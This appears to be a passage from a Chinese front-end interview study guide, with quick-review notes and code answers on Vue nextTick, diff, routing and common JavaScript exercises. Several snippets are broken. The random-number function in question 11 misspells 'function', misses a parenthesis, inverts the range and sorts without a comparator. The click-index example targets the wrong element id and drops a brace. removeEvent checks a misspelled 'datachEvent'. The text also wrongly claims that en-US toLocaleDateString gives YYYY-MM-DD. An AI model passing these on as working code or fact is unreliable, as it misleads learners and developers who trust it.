  • 降级策略:优先 Promise.then,不支持则 MutationObserver → setImmediate → setTimeout(0)(Vue 3 简化为只用 Promise)
  • 用法:this.$nextTick(() => {...}) 或 await nextTick()
  • 本质考的是事件循环 —— 第 91 题的事件循环演示可以帮助理解微任务的时机

Vue 的 nextTick 会把回调延迟到本轮异步 DOM 更新完成后执行。 数据变化时,渲染任务和用户回调会进入队列,同一轮只触发一次异步刷新,避免重复更新。它优先使用 Promise.then,再依次降级到 MutationObserver、setImmediate 和 setTimeout。所以修改数据后要读取新 DOM,可以调用 this.$nextTick(),也可以 await nextTick()。

nextTick 中的回调是在下次 DOM 更新循环结束之后执行的延迟回调。在修改数据之后立即使用这个方法,获取更新后的 DOM。主要思路就是采用微任务优先的方式调用异步方法去执行 nextTick 包装的方法

let callbacks = [];
let pending = false;
function flushCallbacks() {
  pending = false; //把标志还原为false
  // 依次执行回调
  for (let i = 0; i < callbacks.length; i++) {
    callbacks[i]();
  }
}
let timerFunc; //定义异步方法  采用优雅降级
if (typeof Promise !== "undefined") {
  // 如果支持promise
  const p = Promise.resolve();
  timerFunc = () => {
    p.then(flushCallbacks);
  };
} else if (typeof MutationObserver !== "undefined") {
  // MutationObserver 主要是监听dom变化 也是一个异步方法
  let counter = 1;
  const observer = new MutationObserver(flushCallbacks);
  const textNode = document.createTextNode(String(counter));
  observer.observe(textNode, {
    characterData: true,
  });
  timerFunc = () => {
    counter = (counter + 1) % 2;
    textNode.data = String(counter);
  };
} else if (typeof setImmediate !== "undefined") {
  // 如果前面都不支持 判断setImmediate
  timerFunc = () => {
    setImmediate(flushCallbacks);
  };
} else {
  // 最后降级采用setTimeout
  timerFunc = () => {
    setTimeout(flushCallbacks, 0);
  };
}

export function nextTick(cb) {
  // 除了渲染watcher  还有用户自己手动调用的nextTick 一起被收集到数组
  callbacks.push(cb);
  if (!pending) {
    // 如果多次调用nextTick  只会执行一次异步 等异步队列清空之后再把标志变为false
    pending = true;
    timerFunc();
  }
}

# 3 Vue diff 原理

⚡ 30 秒速记

  • 目的:新旧虚拟 DOM 树对比,算出最小的真实 DOM 操作
  • 三个前提假设把复杂度从 O(n³) 降到 O(n):只做同层比较(不跨层移动)、类型不同直接整棵替换、用 key 标识同层节点身份
  • Vue 2:双端比较 —— 新旧列表各设头尾指针,四种组合两两比对,命中就复用并移动指针;都没命中才去查找旧节点
  • Vue 3:改用最长递增子序列算法 —— 先处理头尾相同的部分,中间乱序部分求 LIS,不在 LIS 里的才需要移动,DOM 移动次数最少
  • Vue 3 的编译期优化更关键:静态提升(静态节点只创建一次)、Patch Flag(标记动态部分,diff 时只看有标记的)、Block Tree(拉平动态节点)
  • key 的意义:没有 key 时按索引复用,列表中间插入会导致后续节点全部错位重渲染;别用 index 当 key

Vue diff 的作用是比较新旧虚拟 DOM,尽量用较少的真实 DOM 操作完成视图更新。 它主要比较同层节点,节点类型不同就替换,并通过 key 判断列表节点能否复用。Vue 2 使用双端指针匹配列表头尾,Vue 3 会处理相同首尾,并借助最长递增子序列减少中间节点移动。列表可能插入或重排时,不建议用索引作为 key,否则容易出现错误复用。

# 4 路由原理 history 和 hash 两种路由方式的特点

⚡ 30 秒速记

  • hash 模式:靠 window.location.hash 和 hashchange 事件。URL 里带 #,# 后面的内容不会发给服务器,所以刷新不会 404,无需服务端配合
  • history 模式:靠 history.pushState / replaceState 改 URL(不触发页面刷新)+ popstate 事件监听前进后退。URL 干净,但刷新会真的请求该路径,服务端必须配置回退到 index.html,否则 404
  • SEO:history 模式更友好(URL 规范),hash 的 # 部分搜索引擎通常不索引
  • 兼容性:hash 支持所有浏览器,pushState 需要 HTML5
  • 注意:pushState 不会触发 popstate,只有用户点前进后退或调 history.go/back 才会 —— 所以路由库要自己在 push 时手动触发更新
  • 新 API:Navigation API 正在标准化,能统一处理导航拦截,比 popstate 好用

hash 和 history 都能在不刷新页面的情况下切换前端视图,区别主要在地址形式和服务端要求。 hash 通过 location.hash 和 hashchange 工作,# 后的内容不会进入 HTTP 请求,因此刷新通常不会导致后端 404。history 借助 pushState()、replaceState() 修改地址,链接更美观,但刷新时服务器会收到真实路径请求。使用 history 模式时,我一般会让后端把未知路由回退到 index.html。

hash 模式

  • location.hash 的值实际就是 URL 中#后面的东西 它的特点在于:hash 虽然出现 URL 中,但不会被包含在 HTTP 请求中,对后端完全没有影响,因此改变 hash 不会重新加载页面
  • 可以为 hash 的改变添加监听事件
window.addEventListener("hashchange", funcRef, false);
  • 每一次改变 hash(window.location.hash),都会在浏览器的访问历史中增加一个记录利用 hash 的以上特点,就可以来实现前端路由“更新视图但不重新请求页面”的功能了。
  • 特点:兼容性好但是不美观

history 模式

利用了 HTML5 History Interface 中新增的 pushState() 和 replaceState() 方法

  • 这两个方法应用于浏览器的历史记录站,在当前已有的 back、forward、go 的基础之上,它们提供了对历史记录进行修改的功能。这两个方法有个共同的特点:当调用他们修改浏览器历史记录栈后,虽然当前 URL 改变了,但浏览器不会刷新页面,这就为单页应用前端路由“更新视图但不重新请求页面”提供了基础
  • 特点:虽然美观,但是刷新会出现 404 需要后端进行配置

# 九、编程题相关

# 1 写一个通用的事件侦听器函数

⚡ 30 秒速记

  • 核心是封装 addEventListener 并抹平老浏览器差异(今天已不需要 attachEvent 分支)
  • 现代实现要点:支持传 options 对象(capture / once / passive / signal)
  • 用 AbortController 做批量解绑:const ctrl = new AbortController(); el.addEventListener('click', fn, { signal: ctrl.signal });ctrl.abort() 一次全解
  • 事件委托版本:接收父元素 + 选择器 + 回调,内部用 e.target.closest(selector) 判断
  • 面试关注点:解绑时必须传同一个函数引用(匿名函数解不掉)、passive 对滚动性能的意义

通用事件侦听器要统一封装事件绑定、移除、阻止传播、取消默认行为和获取事件目标。 现代浏览器可以直接使用 addEventListener 和 removeEventListener,老环境则兼容 attachEvent 或 on事件名。需要注意,移除监听时必须拿到绑定时的同一个处理函数,否则无法正确解绑。兼容旧版 IE 时,还要分别处理 cancelBubble、returnValue 和 srcElement。

 // event(事件)工具集,来源:github.com/markyun
    markyun.Event = {

        // 视能力分别使用dom0||dom2||IE方式 来绑定事件
        // 参数: 操作的元素,事件名称 ,事件处理程序
        addEvent : function(element, type, handler) {
            if (element.addEventListener) {
                //事件类型、需要执行的函数、是否捕捉
                element.addEventListener(type, handler, false);
            } else if (element.attachEvent) {
                element.attachEvent('on' + type, function() {
                    handler.call(element);
                });
            } else {
                element['on' + type] = handler;
            }
        },
        // 移除事件
        removeEvent : function(element, type, handler) {
            if (element.removeEventListener) {
                element.removeEventListener(type, handler, false);
            } else if (element.datachEvent) {
                element.detachEvent('on' + type, handler);
            } else {
                element['on' + type] = null;
            }
        },
        // 阻止事件 (主要是事件冒泡,因为IE不支持事件捕获)
        stopPropagation : function(ev) {
            if (ev.stopPropagation) {
                ev.stopPropagation();
            } else {
                ev.cancelBubble = true;
            }
        },
        // 取消事件的默认行为
        preventDefault : function(event) {
            if (event.preventDefault) {
                event.preventDefault();
            } else {
                event.returnValue = false;
            }
        },
        // 获取事件目标
        getTarget : function(event) {
            return event.target || event.srcElement;
        }

# 2 如何判断一个对象是否为数组

⚡ 30 秒速记

  • Array.isArray(arr) —— 首选,跨 iframe 也准确
  • Object.prototype.toString.call(arr) === '[object Array]' —— 最通用的兜底
  • instanceof Array —— 跨 realm(iframe / Node vm)失效
  • constructor === Array —— 可被改写,不可靠
  • 别用 typeof,数组返回 'object'

判断对象是不是数组,优先使用 Array.isArray(arg),必要时再用 Object.prototype.toString.call(arg) 兜底。 前者语义直接,后者可以通过结果是否为 [object Array] 判断类型。两种方式组合后,数组返回 true,普通对象和字符串都会返回 false。不要依赖 typeof,因为数组得到的也是 object,无法和普通对象区分。

function isArray(arg) {
  return Array.isArray(arg) || (typeof arg === 'object' && Object.prototype.toString.call(arg) === '[object Array]');
}

首先使用 Array.isArray 方法判断 arg 是否为数组。如果是数组,则直接返回 true。否则,执行后面的类型判断逻辑。

这样,你可以使用 isArray 函数来判断一个对象是否为数组。例如:

console.log(isArray([])); // true
console.log(isArray({})); // false
console.log(isArray('')); // false

# 3 冒泡排序

⚡ 30 秒速记

  • 相邻两两比较,大的往后冒,每轮确定一个最大值放到末尾
  • 时间复杂度 O(n²),空间 O(1),稳定排序
  • 优化一:加 swapped 标志位,某轮没发生交换说明已有序,提前退出(最好情况降到 O(n))
  • 优化二:记录最后一次交换的位置,该位置之后已有序,缩小下一轮范围
  • 面试价值:主要考基本功和边界处理;实际开发用 Array.prototype.sort(V8 是 TimSort,稳定且 O(n log n))

冒泡排序就是反复比较相邻元素,如果前一个更大就交换,直到数组从小到大排列。 每完成一轮,当前未排序部分中较大的值就会逐步移动到后面,所以内层循环的比较范围可以不断缩小。我一般会加一个 swapped 标志,如果某一轮完全没有交换,说明数组已经有序,可以直接结束。对于 [3, 1, 4, 6, 5, 7, 2],最终结果是 [1, 2, 3, 4, 5, 6, 7]。

它通过比较相邻的两个数,如果后一个数比前一个数小,则交换它们的位置。重复这个过程,直到所有的数都按照从小到大的顺序排列。

代码中使用了两层嵌套的循环。外层循环控制比较的轮数,内层循环用于比较相邻的两个数并交换位置。

下面代码添加了一个标志位来判断是否发生了交换,如果某一轮比较中没有发生交换,说明数组已经有序,可以提前结束循环。

var arr = [3, 1, 4, 6, 5, 7, 2];

function bubbleSort(arr) {
    var len = arr.length;
    for (var i = 0; i < len - 1; i++) {
        var swapped = false; // 标志位,判断是否发生交换
        for (var j = 0; j < len - i - 1; j++) {
            if (arr[j] > arr[j + 1]) {
                var temp = arr[j];
                arr[j] = arr[j + 1];
                arr[j + 1] = temp;
                swapped = true; // 发生了交换
            }
        }
        if (!swapped) {
            break; // 没有发生交换,提前结束循环
        }
    }
    return arr;
}

console.log(bubbleSort(arr));

我们在内层循环中添加了一个标志位 swapped,初始值为 false。如果发生了交换,将 swapped 设置为 true。在每一轮外层循环结束后,检查 swapped 的值,如果为 false,说明数组已经有序,提前结束循环。

这样可以避免在已经排序完成的数组上进行不必要的比较,提高了冒泡排序的效率。

运行结果应为 [1, 2, 3, 4, 5, 6, 7]。

# 4 快速排序

⚡ 30 秒速记

  • 分治:选一个基准 pivot,把数组分成小于和大于两部分,再递归处理两边
  • 平均时间 O(n log n),最坏 O(n²)(已有序且总选第一个作 pivot),空间 O(log n)(递归栈),不稳定
  • 优化:随机选 pivot 或三数取中,避免最坏情况;小数组切换成插入排序
  • 面试常见的"简洁写法"(用 filter 分两组再 concat)空间复杂度是 O(n),不是原地排序 —— 能主动指出这点是加分项
  • 原地版本用双指针分区(Hoare 或 Lomuto 分区法)

快速排序本质上是选一个基准值,把较小和较大的元素分到两边,再递归处理两部分。 示例中取中间元素作为基准,并用左右两个数组保存比较结果,最后通过 concat 合并。它采用分治方式,通常时间复杂度写作 O(nlogn),适合处理较多数据。需要注意,代码里的 splice 会改动传入数组,而且建立左右数组会占用额外空间。

采用二分法,取出中间数,数组每次和中间数比较,小的放到左边,大的放到右边

快速排序的思想很简单,整个排序过程只需要三步:

  • 在数据集之中,找一个基准点
  • 建立两个数组,分别存储左边和右边的数组
  • 利用递归进行下次比较
  • 快速排序的时间复杂度为 O(nlogn),是一种高效的排序算法
var arr = [3, 1, 4, 6, 5, 7, 2];

function quickSort(arr) {
    if(arr.length == 0) {
        return [];    // 返回空数组
    }

    var cIndex = Math.floor(arr.length / 2);
    var c = arr.splice(cIndex, 1);
    var l = [];
    var r = [];

    for (var i = 0; i < arr.length; i++) {
        if(arr[i] < c) {
            l.push(arr[i]);
        } else {
            r.push(arr[i]);
        }
    }

    return quickSort(l).concat(c, quickSort(r));
}

console.log(quickSort(arr));

# 5 编写一个方法 求一个字符串的字节长度

⚡ 30 秒速记

  • 按 UTF-8 计算:ASCII 1 字节、拉丁扩展 2 字节、中文 3 字节、emoji 4 字节
  • 最简可靠写法:new TextEncoder().encode(str).length —— 用浏览器原生编码器,不用自己判断码点范围
  • 也可以用 new Blob([str]).size
  • 手写版要按 codePointAt 分段判断:< 0x80 记 1、< 0x800 记 2、< 0x10000 记 3、否则记 4
  • 常见坑:不能用 str.length,它数的是 UTF-16 码元,emoji 和部分生僻字会算成 2

在题目约定英文字符占一个字节、中文字符占两个字节时,可以遍历字符串并根据字符编码累加长度。 先把字节数设为 str.length,遇到 charCodeAt(i) > 255 的字符就再加一。比如 你好,as 中两个中文字符各按两个字节计算,其余字符各按一个字节计算。这个方法依赖题目的简化假设,不代表所有实际字符编码下的真实字节数。

  • 假设:一个英文字符占用一个字节,一个中文字符占用两个字节
function GetBytes(str){
    var len = str.length;
    var bytes = len;
    for(var i=0; i<len; i++){
        if (str.charCodeAt(i) > 255) bytes++;
    }
    return bytes;
}

alert(GetBytes("你好,as"));

# 6 bind的用法,以及如何实现bind的函数和需要注意的点

⚡ 30 秒速记

  • 用法:fn.bind(thisArg, ...presetArgs) 返回一个新函数,this 被永久绑定,参数可预置(柯里化)
  • 与 call/apply 的区别:call/apply 立即执行,bind 返回新函数延后执行
  • 手写要点:① 用闭包保存 thisArg 和预置参数 ② 返回的函数要能继续接收参数并与预置参数合并
  • 最容易忽略的一点:绑定后的函数被 new 调用时,绑定的 this 会失效,此时 this 应指向新实例 —— 实现里要用 instanceof 判断
  • 还要处理原型继承:绑定函数的 prototype 要指向原函数的 prototype(用一个空函数中转,避免直接赋值造成互相污染)
  • 箭头函数用 bind 无效(本来就没有自己的 this)

bind 用来创建一个绑定了指定 this 的新函数,它不会像 call、apply 那样立即执行。 手写时可以用闭包保存原函数、上下文和预置参数,调用新函数时再通过 apply 合并并传入后续参数。简单实现只处理 this,完整一些还要支持额外参数。实际开发不建议直接改写 Function.prototype.bind,因为修改内置对象原型可能与其他代码冲突。

  • bind的作用与call和apply相同,区别是call和apply是立即调用函数,而bind是返回了一个函数,需要调用的时候再执行。

一个简单的bind函数实现如下

Function.prototype.bind = function(ctx) {
    var fn = this;
    return function() {
        fn.apply(ctx, arguments);
    };
};

bind方法用于创建一个新函数,并将其中的this值绑定到指定的对象。与call和apply不同,bind方法不会立即调用函数,而是返回一个绑定了指定this值的新函数,供以后调用。

它将原函数保存在fn变量中,然后返回了一个匿名函数。当新函数被调用时,它会使用fn.apply来设置函数的上下文(this值)为传入的ctx对象,并将参数通过arguments对象传递进去。

需要注意的是,bind方法还可以接受额外的参数,这些参数会在调用新函数时作为参数传递进去。修改代码,使其支持传递额外参数的实现如下:

Function.prototype.bind = function(ctx) {
    var fn = this;
    var args = Array.prototype.slice.call(arguments, 1); // 获取额外参数
    return function() {
        var combinedArgs = args.concat(Array.prototype.slice.call(arguments)); // 合并额外参数和新函数调用时的参数
        fn.apply(ctx, combinedArgs);
    };
};

另外,需要注意的是,使用原型链修改内置对象的方法可能会与其他代码发生冲突或不兼容。因此,在实际开发中,最好避免修改内置对象的原型方法,以免引起意想不到的问题。

# 7 实现一个函数clone

⚡ 30 秒速记

  • 先问清是浅拷贝还是深拷贝,这是这题的第一个考点
  • 浅拷贝:{ ...obj } / Object.assign({}, obj) / arr.slice()
  • 深拷贝首选 structuredClone()(原生、支持循环引用、Map/Set/Date/RegExp)
  • 手写深拷贝的四个要点:① 递归处理对象和数组 ② 用 WeakMap 记录已拷贝对象解决循环引用 ③ 分别处理 Date/RegExp/Map/Set ④ 保留原型(Object.create(Object.getPrototypeOf(obj)))
  • 不能用 JSON.parse(JSON.stringify()):丢函数/undefined/Symbol、Date 变字符串、循环引用报错

实现 clone 的核心是区分基本类型、数组和对象,并递归复制引用类型中的每个成员。 基本类型直接返回;数组创建新数组后逐项克隆,对象则创建新对象并遍历属性继续克隆。本质上既考察值与引用的区别,也考察类型判断和递归设计。还要留意循环引用,否则递归可能无法结束;复杂场景可以选择 lodash、underscore 等工具库。

可以对JavaScript中的5种主要的数据类型,包括Number、String、Object、Array、Boolean)进行值复

  • 考察点1:对于基本数据类型和引用数据类型在内存中存放的是值还是指针这一区别是否清楚
  • 考察点2:是否知道如何判断一个变量是什么类型的
  • 考察点3:递归算法的设计
// 方法一:
Object.prototype.clone = function(){
    var o = this.constructor === Array ? [] : {};
    for(var e in this){
            o[e] = typeof this[e] === "object" ? this[e].clone() : this[e];
    }
    return o;
}
//方法二:
/**
* 克隆一个对象
* @param Obj
* @returns
*/
function clone(Obj) {
    var buf;
    if (Obj instanceof Array) {
        buf = [];                    //创建一个空的数组
        var i = Obj.length;
        while (i--) {
            buf[i] = clone(Obj[i]);
        }
        return buf;
    }else if (Obj instanceof Object){
        buf = {};                   //创建一个空对象
        for (var k in Obj) {           //为这个对象添加新的属性
            buf[k] = clone(Obj[k]);
        }
        return buf;
    }else{                         //普通变量直接赋值
        return Obj;
    }
}

这里提供了两种方法来实现对象的克隆(clone)。

  • 方法一使用了原型链的方式,在Object.prototype上添加了一个名为clone的方法。该方法可以克隆一个对象,对于数组类型则创建一个空数组,对于对象类型则创建一个空对象,并递归地复制属性值。
  • 方法二是一个独立的函数clone,通过判断对象的类型来进行不同的处理。如果是数组类型,则创建一个空数组,并递归地克隆数组的每个元素;如果是对象类型,则创建一个空对象,并递归地克隆对象的每个属性;对于其他类型的变量,直接返回该变量。
  • 这两种方法都使用了递归算法,通过遍历对象的属性,并根据属性的类型进行复制操作,从而实现对象的克隆。需要注意的是,在使用递归算法时,要注意处理循环引用的情况,以避免进入无限循环。

在实际开发中,可以根据需要选择适合的方法来实现对象的克隆。同时,还可以使用现代的深拷贝工具库,如lodash、underscore等,来实现更复杂的对象克隆操作。

# 8 下面这个ul,如何点击每一列的时候alert其index

⚡ 30 秒速记

  • 首选事件委托:给 ul 绑一次 click,用 [...ul.children].indexOf(e.target.closest('li')) 拿索引
  • 闭包方案:for 循环里用 let 声明索引变量,每次迭代创建新绑定,闭包能拿到正确值
  • 用 var 的话三个回调共享同一个变量,全部拿到最后的值 —— 要用 IIFE 包一层或改 let
  • 也可以把索引写进 dataset:li.dataset.index,回调里读
  • 事件委托的优势:只绑一个监听器、动态新增的 li 自动生效 —— 第 7 题有事件冒泡的交互演示

可以在遍历每个 li 时保存当前索引,再在点击回调中通过 alert 输出它。 一种做法是把索引挂到元素的 index 属性上,回调里读取 this.index。如果不想给元素增加属性,也可以用立即执行函数把当次的 i 保存在闭包中。这里不能让所有回调直接共享循环变量,否则点击时拿到的可能都是循环结束后的值。

考察闭包

 <ul id=”test”>
     <li>这是第一条</li>
     <li>这是第二条</li>
     <li>这是第三条</li>
 </ul>
  // 方法一:
  var lis=document.getElementById('2223').getElementsByTagName('li');
  for(var i=0;i<3;i++)
  {
      lis[i].index=i;
      lis[i].onclick=function(){
          alert(this.index);
  }

 //方法二:
 var lis=document.getElementById('2223').getElementsByTagName('li');
 for(var i=0;i<3;i++){
     lis[i].index=i;
     lis[i].onclick=(function(a){
         return function() {
             alert(a);
         }
     })(i);
 }

# 9 定义一个log方法,让它可以代理console.log的方法

⚡ 30 秒速记

  • 最简:const log = console.log.bind(console) —— 必须 bind,否则丢 this 报错
  • 支持前缀:const log = (...args) => console.log('[MyApp]', ...args)
  • 用 Proxy 代理整个 console 可以拦截所有方法:new Proxy(console, { get(t, k) { return (...a) => t[k]('[prefix]', ...a) } })
  • 保留调用位置:直接包一层会让 DevTools 显示错误的行号,用 console.log.bind(console, prefix) 返回的函数能保留正确的调用栈位置 —— 这是这题的加分点
  • 生产环境通常还要加开关,按环境变量决定是否真的输出

可以定义一个 log 函数,在内部通过 console.log.apply(console, arguments) 代理原来的输出。 如果只写 console.log(msg),它只能方便地接收一个参数,不能完整模拟 console.log 的多参数调用。使用 apply 后,传给 log 的所有实参都会原样转交,并把调用上下文设为 console。因此 log("hello", 123) 这类调用也能按预期输出。

// 可行的方法一:
function log(msg) {
    console.log(msg);
}

log("hello world!") // hello world!

如果要传入多个参数呢?显然上面的方法不能满足要求,所以更好的方法是:

function log(){
  console.log.apply(console, arguments);
};

# 10 输出今天的日期

⚡ 30 秒速记

  • 原生:const d = new Date(); ${d.getFullYear()}-${String(d.getMonth()+1).padStart(2,'0')}-${String(d.getDate()).padStart(2,'0')}
  • 注意 getMonth() 从 0 开始,这是最经典的坑
  • 更现代:new Intl.DateTimeFormat('zh-CN').format(new Date()),自动处理本地化
  • 或 d.toLocaleDateString('zh-CN')
  • 未来方案:Temporal API(Temporal.Now.plainDateISO())已进入 Stage 3,能彻底解决 Date 的各种设计缺陷
  • 项目里通常用 dayjs(体积小、API 类似 moment)

可以用 Date 获取年月日,补齐两位后拼成 YYYY-MM-DD。 其中年份取 getFullYear(),月份取 getMonth() + 1,日期取 getDate();月份必须加一,因为它从 0 开始计数。月或日小于 10 时在前面补 0,再用短横线连接。也可以用 toLocaleDateString() 配合格式选项,但输出形式会受到地区参数影响。

以YYYY-MM-DD的方式,比如今天是2014年9月26日,则输出2014-09-26

var d = new Date();
  // 获取年,getFullYear()返回4位的数字
  var year = d.getFullYear();
  // 获取月,月份比较特殊,0是1月,11是12月
  var month = d.getMonth() + 1;
  // 变成两位
  month = month < 10 ? '0' + month : month;
  // 获取日
  var day = d.getDate();
 day = day < 10 ? '0' + day : day;
 alert(year + '-' + month + '-' + day);

除了上述代码中使用Date对象的方法外,还有其他方式可以获取今天的日期并输出。

一种常见的方式是使用toLocaleDateString()方法,该方法可以返回表示日期的字符串。可以通过传递适当的选项来指定所需的日期格式。

以下是使用toLocaleDateString()方法获取今天的日期的示例代码:

var today = new Date();
var options = { year: 'numeric', month: '2-digit', day: '2-digit' };
var formattedDate = today.toLocaleDateString('en-US', options);
console.log(formattedDate);

在上述代码中,首先创建一个Date对象表示今天的日期。

然后,定义一个选项对象options,其中指定了年份、月份和日期的格式。

最后,使用toLocaleDateString()方法将日期对象转换为指定格式的字符串,并将其赋值给formattedDate变量。

通过console.log()函数输出formattedDate,即可得到以YYYY-MM-DD的格式表示的今天的日期。

这种方法的优点是可以根据需求更灵活地定制日期的格式,适用于不同的地区和语言设置。

# 11 用js实现随机选取10–100之间的10个数字,存入一个数组,并排序

⚡ 30 秒速记

  • 生成区间随机整数:Math.floor(Math.random() * (max - min + 1)) + min —— 注意 +1 才能取到上界
  • 收集 10 个:Array.from({ length: 10 }, () => rand(10, 100))
  • 如果要求不重复,用 while + Set 循环收集直到 size 达到 10
  • 排序必须传比较函数:arr.sort((a, b) => a - b) —— 不传的话是按字符串排序,[10, 9] 会排成 [10, 9]
  • 这题最常见的扣分点就是 sort 不传比较函数

先生成 10 到 100 之间的随机整数,循环写入数组 10 次,再调用 sort((a, b) => a - b) 排序。 随机数公式可写成 Math.floor(Math.random() * (100 - 10 + 1)) + 10,这里加 1 是为了让 100 也有机会被取到。排序时要传数值比较函数,否则 sort() 默认按字符串规则比较。题目没有要求去重,因此生成的数字允许重复。

var iArray = [];
funtion getRandom(istart, iend){
  var iChoice = istart - iend +1;
  return Math.floor(Math.random() * iChoice + istart;
}
for(var i=0; i<10; i++){
  iArray.push(getRandom(10,100));
}
iArray.sort();

# 12 写一段JS程序提取URL中的各个GET参数

⚡ 30 秒速记

  • 首选原生 URLSearchParams:new URL(url).searchParams,配 .get(k) / .getAll(k) / Object.fromEntries(sp)
  • 一行拿到全部参数对象:Object.fromEntries(new URL(url).searchParams)
  • 注意重复键:fromEntries 只保留最后一个,要拿全部用 getAll
  • 手写正则版:用 /([^?=&]+)=([^&]*)/g 配 replace 收集,但要记得 decodeURIComponent 解码
  • 边界:值里含 = 号、空值参数(?a=)、数组参数(?a=1&a=2)—— URLSearchParams 都已处理好,别自己造轮子

可以截取 URL 中问号后的查询串,按 & 拆成参数,再按第一个 = 组装为键值对象。 例如 a=1&b=2&c=&e 应得到 a: '1'、b: '2'、c: '',而没有等号的 e 对应 undefined。实际写法中不要反复调用 split('='),保存拆分结果会更清楚。若参数值可能包含编码字符,还应先做相应的解码处理。

有这样一个URL:http://item.taobao.com/item.htm?a=1&b=2&c=&d=xxx&e,请写一段JS程序提取URL中的各个GET参数(参数名和参数个数不确定),将其按key-value形式返回到一个json结构中,如{a:'1', b:'2', c:'', d:'xxx', e:undefined}

function serilizeUrl(url) {
     var result = {};
     url = url.split("?")[1];
     var map = url.split("&");
     for(var i = 0, len = map.length; i < len; i++) {
        result[map[i].split("=")[0]] = map[i].split("=")[1];
     }
     return result;
 }

# 13 写一个function,清除字符串前后的空格

⚡ 30 秒速记

  • 原生已有:str.trim(),还有 trimStart() / trimEnd()
  • 手写正则版:str.replace(/^`s+|\s+$/g`, '')
  • 注意 `s包含空格、制表符、换行、全角空格(\u3000`)等所有空白字符
  • 只去中间空格用 replace(/`s+/g`, ' ') 做归一化
  • 这题真正考的是正则基本功和"知不知道原生已有"

直接返回 str.trim() 就能清除字符串首尾的空白字符。 如果需要兼容不支持该方法的环境,可以给 String.prototype.trim 增加降级实现,用 /^\s+/ 和 /\s+$/ 分别替换开头、结尾的空白。本质上只处理两端,因此字符串中间原有的空格不会被改动。使用前也要确认传入的是字符串,避免在 null 或 undefined 上直接调用。

使用自带接口trim(),考虑兼容性:

if (!String.prototype.trim) {
    String.prototype.trim = function() {
        return this.replace(/^\s+/, "").replace(/\s+$/,"");
    }
}
// test the function
var str = " \t\n test string ".trim();
alert(str == "test string"); // alerts "true"

# 14 实现每隔一秒钟输出1,2,3...数字

⚡ 30 秒速记

  • 最简:setInterval(() => console.log(i++), 1000),记得在合适时机 clearInterval
  • 用 setTimeout 递归更准(避免 setInterval 的任务堆积):function tick() { console.log(i++); setTimeout(tick, 1000) }
  • 经典陷阱题:for (var i = 1; i <= 3; i++) setTimeout(() => console.log(i), i * 1000) 会输出三个 4 —— 改 let 即可
  • async/await 写法最清晰:for (let i = 1; i <= n; i++) { console.log(i); await delay(1000) }
  • 精度提醒:定时器不保证准时,长时间运行会累积漂移;需要精确计时要用 Date.now() 校正

可以在循环里用立即执行函数保存当前序号,再通过 setTimeout 按序延迟输出。 每次循环把 i 传给参数 j,形成独立闭包,避免回调执行时拿到循环结束后的 i。延迟时间设为 j * 1000 毫秒,并输出 j + 1,就能依次得到 1、2、3...。这里第一次会立即输出;如果要求一秒后才输出 1,延迟应改为 (j + 1) * 1000。

for(var i=0;i<10;i++){
  (function(j){
     setTimeout(function(){
       console.log(j+1)
     },j*1000)
   })(i)
}

在循环中,立即执行函数被用作一个闭包,用于保存每次循环中的i的值。这是为了避免在setTimeout函数中使用的回调函数在执行时捕获到的是循环结束后的i的值。

setTimeout函数用于设置一个定时器,它接受两个参数:回调函数和延迟时间(以毫秒为单位)。在每次循环中,通过将j*1000作为延迟时间,实现每隔一秒钟输出数字的效果。回调函数输出的数字为j+1,因为j从0开始。

通过这种方式,可以确保每隔一秒钟输出1, 2, 3...的数字。每个数字的输出时间间隔为一秒。

# 15 实现一个函数,判断输入是不是回文字符串

⚡ 30 秒速记

  • 最简:str === [...str].reverse().join('')
  • 双指针法更省内存:头尾指针向中间靠拢逐个比较,遇到不等立即返回 false,时间 O(n) 空间 O(1)
  • 通常还要预处理:转小写、去掉非字母数字 —— str.toLowerCase().replace(/[^a-z0-9]/g, '')
  • 用 [...str] 而不是 str.split(''):前者按码点拆分,能正确处理 emoji 和代理对
  • 进阶变体:最长回文子串(中心扩展法或 Manacher 算法)

先确认输入是字符串,再比较原字符串与反转后的字符串是否相等,就能判断它是不是回文。 可以用 split('') 拆成字符数组,调用 reverse() 反转,最后通过 join('') 重新拼接。两边完全一致时返回 true,否则返回 false。对于非字符串输入直接返回 false,避免数组方法调用出错。

function run(input) {
  if (typeof input !== 'string') return false;
  return input.split('').reverse().join('') === input;
}

# 16 数组扁平化处理

⚡ 30 秒速记

  • 原生首选:arr.flat(depth),flat(Infinity) 完全展开
  • 配合映射:flatMap 等价于 map 后再 flat(1)
  • 递归实现:reduce + 判断 Array.isArray,是数组就递归展开
  • 迭代实现(避免爆栈):用栈,pop 出元素,是数组就 push 回去,否则收进结果(注意最后要 reverse)
  • 取巧写法 arr.toString().split(',') 只对纯数字/字符串数组有效,会把所有元素变成字符串,还会破坏 null/undefined —— 面试写这个是减分项
  • 记得处理稀疏数组:flat 会自动去掉空位

数组扁平化可以递归遍历嵌套元素,把所有内容合并到一个一维数组中。 常见写法是用 reduce() 累积结果,遇到数组就继续调用 flatten(),普通元素则直接通过 concat() 合并。也可以配合扩展运算符反复展开,只要数组中仍存在子数组就继续处理。递归写法更直观,但嵌套层级较多时会产生更多函数调用。

实现一个flatten方法,使得输入一个数组,该数组里面的元素也可以是数组,该方法会输出一个扁平化的数组

function flatten(arr){
  return arr.reduce(function(prev,item){
      return prev.concat(Array.isArray(item)?flatten(item):item);
  },[]);
}

除了使用reduce方法,还可以使用递归和ES6的扩展运算符等方式来实现数组的扁平化处理。

  1. 递归方式:
function flatten(arr) {
  var result = [];
  arr.forEach(function(item) {
    if (Array.isArray(item)) {
      result = result.concat(flatten(item));
    } else {
      result.push(item);
    }
  });
  return result;
}
  1. 使用ES6的扩展运算符:
function flatten(arr) {
  while (arr.some(Array.isArray)) {
    arr = [].concat(...arr);
  }
  return arr;
}

这些方法都可以将多层嵌套的数组扁平化成一个一维数组。使用递归方法时,通过遍历数组的每个元素,如果元素是数组,则递归调用扁平化函数;如果元素不是数组,则直接添加到结果数组中。使用ES6的扩展运算符时,通过不断地展开数组中的每个元素,直到所有元素都不再是数组为止。

# 17 实现一个函数clone,可以对JavaScript中的5种主要的数据类型(包括Number、String、Object、Array、Boolean)进行值复制

⚡ 30 秒速记

  • 与第 7 题同考点
  • 思路:用 Object.prototype.toString.call 判断类型 → 原始类型直接返回 → 数组和对象递归
  • 完整实现还要处理 Date、RegExp、Map、Set、Symbol 键、循环引用(WeakMap)、原型链
  • 现代直接用 structuredClone(),除非面试明确要求手写
  • 手写时的评分点主要在循环引用和原型保留这两处,多数人会漏

